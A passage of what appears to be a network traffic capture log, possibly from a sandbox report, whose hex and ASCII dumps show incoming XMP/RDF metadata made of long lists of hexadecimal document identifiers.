32 35 30 45 42 33 46 30 41 35 41 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 39 46 33 38 41 45 32 33 38 32 32 41 34 38 Data Ascii: 38BE92D1702838D422AFAC</rdf:li> <rdf:li>29DC3C081568B5ADDA2945FA7070BDFC</rdf:li> <rdf:li>29E28B932CA9A19D8DAA28A811B0C673</rdf:li> <rdf:li>29E62F336AB0CB2B2AD63E00F004BF0C</rdf:li> <rdf:li>29EBE2511283B7BC346250EB3F0A5A3A</rdf:li> <rdf:li>29F38AE23822A48
2022-07-20 17:31:06 UTC	3166	IN	Data Raw: 33 37 42 42 38 44 36 31 36 42 34 42 43 30 45 36 45 37 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 46 39 45 43 42 43 43 36 35 43 33 43 35 34 34 36 33 43 38 37 38 44 46 41 35 34 30 37 45 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 46 41 34 31 30 38 45 30 45 34 32 36 33 42 31 43 31 33 33 37 41 33 41 34 31 42 35 41 37 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 46 42 44 36 32 46 43 36 41 45 34 38 32 38 44 42 43 33 32 32 39 39 42 33 35 34 35 32 33 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 46 42 46 39 38 37 34 42 36 46 39 42 43 35 39 31 33 45 37 31 30 35 43 31 39 37 38 46 44 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 46 43 35 34 33 46 38 41 42 41 45 37 44 37 37 31 Data Ascii: 37BB8D616B4BC0E6E77A</rdf:li> <rdf:li>2F9ECBCC65C3C54463C878DFA5407E2D</rdf:li> <rdf:li>2FA4108E0E4263B1C1337A3A41B5A7D1</rdf:li> <rdf:li>2FBD62FC6AE4828DBC32299B3545236E</rdf:li> <rdf:li>2FBF9874B6F9BC5913E7105C1978FDB3</rdf:li> <rdf:li>2FC543F8ABAE7D771
2022-07-20 17:31:06 UTC	3182	IN	Data Raw: 3a 6c 69 3e 33 43 46 44 46 46 38 34 45 45 30 42 45 42 46 33 32 34 32 35 32 35 38 41 35 34 30 39 43 41 43 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 44 31 41 30 32 45 36 44 39 33 32 46 30 37 35 34 30 36 33 30 36 30 33 35 33 43 38 33 35 42 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 44 32 30 41 46 44 37 35 33 44 38 37 35 37 31 44 33 37 45 35 33 45 33 38 37 39 34 42 31 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 44 32 34 32 32 36 44 35 31 34 38 41 36 39 44 42 41 45 43 32 35 38 32 35 42 45 41 36 33 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 44 32 41 46 46 31 30 34 32 33 46 31 38 38 30 35 37 34 35 43 30 35 39 41 39 31 43 33 39 31 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 Data Ascii: :li>3CFDFF84EE0BEBF32425258A5409CACC</rdf:li> <rdf:li>3D1A02E6D932F0754063060353C835B9</rdf:li> <rdf:li>3D20AFD753D87571D37E53E38794B151</rdf:li> <rdf:li>3D24226D5148A69DBAEC25825BEA6363</rdf:li> <rdf:li>3D2AFF10423F18805745C059A91C391A</rdf:li> <rdf:li>3
2022-07-20 17:31:06 UTC	3198	IN	Data Raw: 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 39 37 33 42 35 41 42 39 38 42 44 36 46 33 30 46 32 46 36 30 37 36 38 42 44 38 44 35 42 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 39 37 41 42 32 35 34 39 36 32 44 39 45 41 30 39 41 32 44 30 41 35 44 35 44 32 38 45 34 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 39 37 42 34 41 36 32 42 41 31 46 44 39 36 32 36 37 32 31 35 35 34 30 42 45 36 41 38 44 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 39 38 35 39 41 31 43 32 34 31 39 38 38 35 33 41 32 41 31 31 34 30 30 45 34 37 34 39 37 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 39 41 41 44 44 36 33 35 43 43 31 32 34 35 42 37 30 46 30 44 45 36 34 32 36 43 41 33 36 45 44 3c 2f 72 Data Ascii: D7</rdf:li> <rdf:li>4973B5AB98BD6F30F2F60768BD8D5B68</rdf:li> <rdf:li>497AB254962D9EA09A2D0A5D5D28E415</rdf:li> <rdf:li>497B4A62BA1FD96267215540BE6A8DCE</rdf:li> <rdf:li>49859A1C24198853A2A11400E4749721</rdf:li> <rdf:li>49AADD635CC1245B70F0DE6426CA36ED</r
2022-07-20 17:31:06 UTC	3293	IN	Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 30 30 36 37 32 35 44 37 44 39 43 46 46 38 36 41 45 32 38 37 46 41 42 32 45 42 35 39 30 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 30 30 43 32 42 46 39 35 31 38 30 31 34 41 43 32 39 41 39 42 35 39 39 36 41 46 44 31 36 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 30 30 46 34 37 34 36 36 43 46 31 42 41 44 31 38 32 44 43 34 35 45 44 39 31 33 30 34 30 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 30 32 46 37 38 44 37 34 39 42 33 32 45 31 34 41 37 36 46 36 37 38 46 37 43 31 34 34 31 31 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 30 33 41 46 35 44 43 45 31 36 30 43 34 32 35 41 32 45 31 41 34 34 42 42 45 45 31 35 31 45 34 3c 2f 72 64 66 Data Ascii: </rdf:li> <rdf:li>5006725D7D9CFF86AE287FAB2EB5906D</rdf:li> <rdf:li>500C2BF9518014AC29A9B5996AFD160B</rdf:li> <rdf:li>500F47466CF1BAD182DC45ED9130406E</rdf:li> <rdf:li>502F78D749B32E14A76F678F7C14411E</rdf:li> <rdf:li>503AF5DCE160C425A2E1A44BBEE151E4</rdf
2022-07-20 17:31:06 UTC	3310	IN	Data Raw: 43 46 41 39 30 33 46 43 41 41 33 41 33 34 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 45 35 31 39 45 33 35 35 42 34 37 33 43 39 31 31 36 39 39 32 38 44 32 32 36 33 37 34 33 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 45 35 43 42 42 30 38 34 46 34 44 30 44 38 30 38 33 38 44 37 33 42 41 43 35 36 32 46 33 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 45 36 33 46 41 33 44 38 46 39 34 36 34 37 30 43 30 33 34 33 38 33 41 38 36 32 35 31 36 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 45 36 37 41 36 43 34 34 34 43 35 36 31 39 39 44 38 30 46 37 33 41 46 34 41 32 44 36 42 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 45 37 45 32 30 33 36 33 46 36 36 43 44 43 32 33 38 38 44 38 Data Ascii: CFA903FCAA3A347B</rdf:li> <rdf:li>5E519E355B473C91169928D226374379</rdf:li> <rdf:li>5E5CBB084F4D0D80838D73BAC562F3DF</rdf:li> <rdf:li>5E63FA3D8F946470C034383A8625165A</rdf:li> <rdf:li>5E67A6C444C56199D80F73AF4A2D6B7E</rdf:li> <rdf:li>5E7E20363F66CDC2388D8
2022-07-20 17:31:06 UTC	3326	IN	Data Raw: 44 30 34 43 45 36 45 37 43 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 43 38 35 32 31 32 32 38 41 39 32 30 44 32 37 35 45 46 42 31 41 32 33 30 35 42 43 44 30 38 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 43 38 42 37 31 31 43 44 34 41 37 31 30 46 34 30 31 41 46 35 43 39 45 32 34 39 46 35 35 41 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 43 39 44 33 39 35 38 32 33 37 44 43 38 41 32 36 43 31 32 42 30 44 38 30 42 41 41 41 35 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 43 41 36 32 43 36 39 31 45 46 30 39 31 34 42 31 43 35 45 43 46 43 30 45 43 31 42 37 42 43 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 43 42 42 37 36 36 42 44 44 30 38 34 45 31 42 39 39 42 44 46 42 34 43 33 42 Data Ascii: D04CE6E7CDA</rdf:li> <rdf:li>6C8521228A920D275EFB1A2305BCD08F</rdf:li> <rdf:li>6C8B711CD4A710F401AF5C9E249F55A3</rdf:li> <rdf:li>6C9D3958237DC8A26C12B0D80BAAA55A</rdf:li> <rdf:li>6CA62C691EF0914B1C5ECFC0EC1B7BC9</rdf:li> <rdf:li>6CBB766BDD084E1B99BDFB4C3B
2022-07-20 17:31:06 UTC	3350	IN	Data Raw: 42 46 44 30 31 41 46 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 34 32 37 39 39 30 41 42 45 44 32 43 30 42 36 41 44 32 42 46 31 30 45 32 38 41 38 44 32 45 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 34 33 42 45 30 44 37 38 30 35 39 41 39 38 44 45 35 42 39 38 44 45 46 36 32 32 34 38 38 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 34 34 44 33 39 37 36 41 32 31 42 30 36 46 32 33 30 44 45 43 45 42 30 34 35 44 35 43 44 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 34 35 34 35 33 39 37 42 36 39 33 38 39 32 32 46 45 35 46 33 39 45 30 34 41 33 33 34 30 33 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 34 35 37 38 43 39 33 33 41 33 39 42 33 41 38 39 35 33 31 43 37 34 43 46 31 45 37 Data Ascii: BFD01AFDE</rdf:li> <rdf:li>7427990ABED2C0B6AD2BF10E28A8D2ED</rdf:li> <rdf:li>743BE0D78059A98DE5B98DEF62248830</rdf:li> <rdf:li>744D3976A21B06F230DECEB045D5CD18</rdf:li> <rdf:li>74545397B6938922FE5F39E04A33403F</rdf:li> <rdf:li>74578C933A39B3A89531C74CF1E7
2022-07-20 17:31:06 UTC	3388	IN	Data Raw: 37 38 33 45 34 37 37 33 44 30 36 30 44 31 46 32 41 33 33 41 44 38 39 41 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 39 46 30 42 36 38 45 30 45 45 37 41 39 30 44 46 33 46 34 35 38 36 41 34 30 35 45 42 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 42 30 44 37 43 44 34 34 38 36 45 43 46 39 38 44 46 35 36 32 31 43 45 34 43 45 33 37 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 42 38 39 38 46 34 34 30 38 44 33 37 33 34 30 34 35 41 34 30 46 38 39 46 46 32 42 39 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 44 30 44 37 43 43 37 41 33 32 45 41 33 37 33 33 35 35 35 46 38 30 46 44 41 31 36 34 38 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 44 45 39 39 41 41 41 43 31 41 Data Ascii: 783E4773D060D1F2A33AD89A3</rdf:li> <rdf:li>819F0B68E0EE7A90DF3F4586A405EB18</rdf:li> <rdf:li>81B0D7CD4486ECF98DF5621CE4CE37D0</rdf:li> <rdf:li>81B898F4408D3734045A40F89FF2B971</rdf:li> <rdf:li>81D0D7CC7A32EA3733555F80FDA1648A</rdf:li> <rdf:li>81DE99AAAC1A
2022-07-20 17:31:06 UTC	3404	IN	Data Raw: 20 3c 72 64 66 3a 6c 69 3e 38 45 34 36 36 30 37 33 32 32 32 43 45 41 43 43 35 32 43 36 46 35 37 42 46 38 31 36 34 41 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 45 34 42 46 34 37 34 41 34 43 42 46 38 39 46 39 43 31 43 46 31 45 46 37 31 46 37 31 44 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 45 35 33 34 43 31 33 30 31 39 44 33 46 39 44 46 36 32 31 31 41 45 34 37 38 33 39 32 33 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 45 35 37 39 35 38 39 42 36 45 43 39 42 38 34 44 34 45 41 44 37 32 36 41 42 32 46 41 31 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 45 36 32 30 39 34 43 36 33 46 36 42 37 34 39 35 42 44 36 32 46 34 39 42 35 43 44 34 41 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 Data Ascii: <rdf:li>8E466073222CEACC52C6F57BF8164A4B</rdf:li> <rdf:li>8E4BF474A4CBF89F9C1CF1EF71F71DD2</rdf:li> <rdf:li>8E534C13019D3F9DF6211AE4783923FE</rdf:li> <rdf:li>8E579589B6EC9B84D4EAD726AB2FA1D4</rdf:li> <rdf:li>8E62094C63F6B7495BD62F49B5CD4A16</rdf:li> <rdf
2022-07-20 17:31:06 UTC	3452	IN	Data Raw: 72 64 66 3a 6c 69 3e 39 35 41 34 46 34 37 37 34 35 30 38 45 33 35 43 34 42 30 33 46 37 44 45 34 41 45 41 44 43 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 35 41 42 39 30 44 30 36 37 35 37 33 43 46 43 36 44 44 45 45 41 46 32 32 35 46 37 42 38 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 35 42 37 32 42 39 30 35 45 30 45 41 31 33 43 38 32 41 39 35 36 30 41 46 39 41 30 31 37 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 35 43 34 35 33 42 38 32 38 34 37 43 44 32 43 31 41 46 46 31 45 33 38 42 36 36 41 45 33 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 35 43 41 35 43 37 45 31 34 32 30 31 31 41 46 30 42 31 36 36 39 37 32 33 41 45 43 39 30 46 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c Data Ascii: rdf:li>95A4F4774508E35C4B03F7DE4AEADC89</rdf:li> <rdf:li>95AB90D067573CFC6DDEEAF225F7B810</rdf:li> <rdf:li>95B72B905E0EA13C82A9560AF9A017B5</rdf:li> <rdf:li>95C453B82847CD2C1AFF1E38B66AE3FB</rdf:li> <rdf:li>95CA5C7E142011AF0B1669723AEC90FD</rdf:li> <rdf:l
2022-07-20 17:31:06 UTC	3507	IN	Data Raw: 69 3e 41 33 34 36 43 41 37 44 37 36 44 36 43 32 45 35 45 30 39 32 37 44 41 35 39 35 43 46 44 35 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 33 35 36 35 46 39 44 44 33 31 32 39 37 44 45 45 37 37 44 33 42 41 42 37 41 41 46 42 46 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 33 36 46 45 36 33 32 31 39 42 41 46 46 38 41 43 33 43 44 35 37 43 33 41 46 45 38 37 43 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 33 37 32 31 42 36 41 30 32 46 33 38 36 30 46 46 39 33 38 31 30 34 46 41 35 32 33 43 45 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 33 38 35 33 35 36 46 44 38 46 35 41 42 38 34 45 31 42 44 31 42 38 36 36 30 30 31 34 30 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 33 38 Data Ascii: i>A346CA7D76D6C2E5E0927DA595CFD5CF</rdf:li> <rdf:li>A3565F9DD31297DEE77D3BAB7AAFBFD6</rdf:li> <rdf:li>A36FE63219BAFF8AC3CD57C3AFE87C68</rdf:li> <rdf:li>A3721B6A02F3860FF938104FA523CEA8</rdf:li> <rdf:li>A385356FD8F5AB84E1BD1B8660014069</rdf:li> <rdf:li>A38
2022-07-20 17:31:06 UTC	3523	IN	Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 30 41 36 45 46 32 33 35 33 33 30 30 36 39 38 36 42 42 41 43 33 38 31 41 42 39 35 41 44 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 30 44 30 34 43 31 36 32 42 36 34 36 36 33 43 38 39 41 44 35 35 42 38 45 35 46 41 44 36 43 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 30 44 35 32 46 46 46 31 42 44 31 45 34 30 35 43 39 41 39 43 32 38 38 39 43 30 44 37 43 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 30 45 30 33 41 41 32 30 33 30 31 36 33 45 46 41 36 39 41 46 30 43 32 31 43 35 32 42 35 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 30 45 46 39 41 43 38 34 35 35 36 30 34 45 33 32 30 35 43 45 33 32 33 37 45 42 44 44 45 39 34 3c 2f 72 64 66 Data Ascii: </rdf:li> <rdf:li>B0A6EF23533006986BBAC381AB95AD93</rdf:li> <rdf:li>B0D04C162B64663C89AD55B8E5FAD6C1</rdf:li> <rdf:li>B0D52FFF1BD1E405C9A9C2889C0D7C82</rdf:li> <rdf:li>B0E03AA2030163EFA69AF0C21C52B548</rdf:li> <rdf:li>B0EF9AC8455604E3205CE3237EBDDE94</rdf
2022-07-20 17:31:06 UTC	3547	IN	Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 36 43 35 30 42 44 44 45 35 30 33 30 35 43 36 45 37 43 43 43 44 43 37 43 46 41 44 31 38 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 36 43 38 32 35 30 45 38 30 37 33 39 33 33 32 37 36 30 45 32 31 37 38 38 44 30 35 33 42 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 36 44 30 42 30 46 33 41 35 41 30 41 46 38 33 41 32 41 30 45 44 31 39 42 31 44 39 42 44 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 36 44 39 33 42 35 41 41 41 42 31 38 42 45 37 37 45 46 38 30 36 46 46 36 42 33 33 39 42 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 36 44 42 41 33 41 44 41 43 42 32 39 35 31 30 30 33 34 43 31 33 35 33 41 36 44 45 35 44 43 46 3c 2f 72 64 66 3a 6c Data Ascii: rdf:li> <rdf:li>B6C50BDDE50305C6E7CCCDC7CFAD1824</rdf:li> <rdf:li>B6C8250E80739332760E21788D053BA1</rdf:li> <rdf:li>B6D0B0F3A5A0AF83A2A0ED19B1D9BD66</rdf:li> <rdf:li>B6D93B5AAAB18BE77EF806FF6B339B1C</rdf:li> <rdf:li>B6DBA3ADACB29510034C1353A6DE5DCF</rdf:l
2022-07-20 17:31:06 UTC	3571	IN	Data Raw: 36 34 32 43 31 33 31 35 39 36 30 32 34 46 38 37 38 30 30 37 32 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 37 31 37 33 33 42 46 35 39 38 42 42 38 44 38 41 35 45 33 30 45 43 34 44 34 42 30 42 42 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 37 33 34 39 38 46 43 45 37 37 46 43 32 45 44 44 38 46 38 34 37 31 38 30 42 33 32 42 42 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 37 33 44 33 45 37 38 37 35 31 38 30 38 43 33 44 39 39 30 35 33 33 44 38 33 32 45 38 44 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 37 33 44 38 30 39 37 37 42 43 46 39 44 34 34 30 43 39 32 43 45 31 42 44 35 38 31 46 43 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 37 36 42 30 37 30 32 44 44 44 41 37 41 Data Ascii: 642C131596024F878007265</rdf:li> <rdf:li>B71733BF598BB8D8A5E30EC4D4B0BBCE</rdf:li> <rdf:li>B73498FCE77FC2EDD8F847180B32BB24</rdf:li> <rdf:li>B73D3E78751808C3D990533D832E8D10</rdf:li> <rdf:li>B73D80977BCF9D440C92CE1BD581FC53</rdf:li> <rdf:li>B76B0702DDDA7A
2022-07-20 17:31:06 UTC	3619	IN	Data Raw: 72 64 66 3a 6c 69 3e 43 35 35 33 42 38 43 46 44 30 36 34 45 30 30 44 30 46 36 34 39 42 38 38 33 37 33 45 45 42 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 35 35 38 44 38 36 30 39 32 42 32 42 30 42 36 41 39 35 37 42 42 42 37 44 39 45 37 41 32 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 35 38 34 32 38 39 35 43 34 42 30 32 33 39 46 41 36 37 41 42 30 35 41 32 46 38 44 46 39 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 35 38 34 34 38 38 31 32 36 45 43 44 32 31 39 33 46 45 43 45 34 31 39 37 37 42 38 33 43 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 35 38 42 41 30 32 30 46 37 35 36 44 34 34 30 44 43 43 46 33 36 36 32 42 38 36 44 46 32 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c Data Ascii: rdf:li>C553B8CFD064E00D0F649B88373EEB9D</rdf:li> <rdf:li>C558D86092B2B0B6A957BBB7D9E7A25E</rdf:li> <rdf:li>C5842895C4B0239FA67AB05A2F8DF972</rdf:li> <rdf:li>C584488126ECD2193FECE41977B83C1F</rdf:li> <rdf:li>C58BA020F756D440DCCF3662B86DF2FB</rdf:li> <rdf:l
2022-07-20 17:31:06 UTC	3635	IN	Data Raw: 69 3e 44 32 31 34 35 30 41 35 33 37 31 43 35 43 39 31 33 35 33 38 32 45 35 44 32 45 30 31 45 39 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 32 31 42 32 33 34 38 35 34 34 41 31 38 36 34 36 30 41 41 38 46 30 30 43 43 32 35 30 35 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 32 35 33 35 37 42 34 34 32 38 44 33 37 45 42 45 33 32 37 32 36 36 36 37 43 38 42 39 45 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 32 35 41 43 46 36 44 31 43 39 38 45 34 31 41 35 39 43 33 39 31 37 32 36 46 35 35 41 37 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 32 35 44 36 46 36 32 46 35 33 34 43 45 39 32 36 37 43 41 44 43 38 31 36 33 43 42 44 42 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 32 37 Data Ascii: i>D21450A5371C5C9135382E5D2E01E986</rdf:li> <rdf:li>D21B2348544A186460AA8F00CC2505F2</rdf:li> <rdf:li>D25357B4428D37EBE32726667C8B9E73</rdf:li> <rdf:li>D25ACF6D1C98E41A59C391726F55A70B</rdf:li> <rdf:li>D25D6F62F534CE9267CADC8163CBDB4A</rdf:li> <rdf:li>D27
2022-07-20 17:31:06 UTC	3643	IN	Data Raw: 44 41 35 34 31 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 38 37 46 38 44 36 45 35 31 46 32 37 36 30 31 43 32 32 35 42 44 42 31 46 39 39 43 33 33 42 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 38 39 30 43 31 38 30 41 34 38 45 33 43 42 33 38 46 38 34 34 34 30 46 43 30 31 39 36 43 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 38 39 44 42 45 41 35 32 30 37 46 39 43 41 35 32 42 44 34 36 39 42 31 44 33 36 30 31 36 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 38 41 36 39 34 38 34 31 41 37 33 43 46 30 41 31 37 41 37 38 41 39 33 39 34 45 32 34 38 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 38 42 42 37 34 44 39 39 46 41 37 31 39 36 33 38 39 39 43 37 41 34 35 31 45 32 32 43 45 Data Ascii: DA54164</rdf:li> <rdf:li>D87F8D6E51F27601C225BDB1F99C33BE</rdf:li> <rdf:li>D890C180A48E3CB38F84440FC0196C12</rdf:li> <rdf:li>D89DBEA5207F9CA52BD469B1D360163B</rdf:li> <rdf:li>D8A694841A73CF0A17A78A9394E2480E</rdf:li> <rdf:li>D8BB74D99FA71963899C7A451E22CE
2022-07-20 17:31:06 UTC	3659	IN	Data Raw: 44 39 42 46 31 46 44 43 30 33 37 45 33 32 39 37 44 32 45 42 36 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 36 32 44 31 31 41 39 43 31 43 41 43 31 39 43 36 44 46 45 34 33 36 33 35 45 41 37 39 42 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 36 35 37 46 38 38 45 42 41 43 35 34 45 41 43 39 31 38 33 44 44 39 30 39 44 31 42 38 44 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 36 35 45 46 41 45 31 45 41 37 34 46 32 44 35 33 30 33 36 37 41 32 37 39 32 35 43 36 46 45 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 36 37 33 39 33 45 35 34 31 38 32 36 34 33 44 39 30 33 42 35 43 45 46 30 36 33 36 45 45 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 36 37 36 35 37 45 38 38 31 43 32 43 34 Data Ascii: D9BF1FDC037E3297D2EB60D</rdf:li> <rdf:li>E62D11A9C1CAC19C6DFE43635EA79B17</rdf:li> <rdf:li>E657F88EBAC54EAC9183DD909D1B8D16</rdf:li> <rdf:li>E65EFAE1EA74F2D530367A27925C6FE6</rdf:li> <rdf:li>E67393E54182643D903B5CEF0636EE09</rdf:li> <rdf:li>E67657E881C2C4
2022-07-20 17:31:06 UTC	3675	IN	Data Raw: 72 64 66 3a 6c 69 3e 46 31 42 32 44 34 30 36 31 41 38 37 42 38 32 44 36 42 33 39 45 44 32 35 41 35 39 44 45 44 43 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 31 42 33 34 36 31 37 39 41 41 39 44 30 38 33 46 33 34 30 38 32 30 35 30 41 45 45 38 41 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 31 42 38 44 38 43 31 39 46 45 30 37 31 30 43 41 36 39 37 44 46 39 32 44 42 42 42 39 34 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 31 43 34 32 44 43 31 43 43 34 36 38 46 37 43 32 34 42 42 45 43 43 39 30 44 30 33 36 34 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 31 44 32 42 31 45 32 44 37 39 36 38 39 33 42 31 42 31 36 32 41 41 34 39 43 35 33 30 32 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c Data Ascii: rdf:li>F1B2D4061A87B82D6B39ED25A59DEDC9</rdf:li> <rdf:li>F1B346179AA9D083F34082050AEE8AC8</rdf:li> 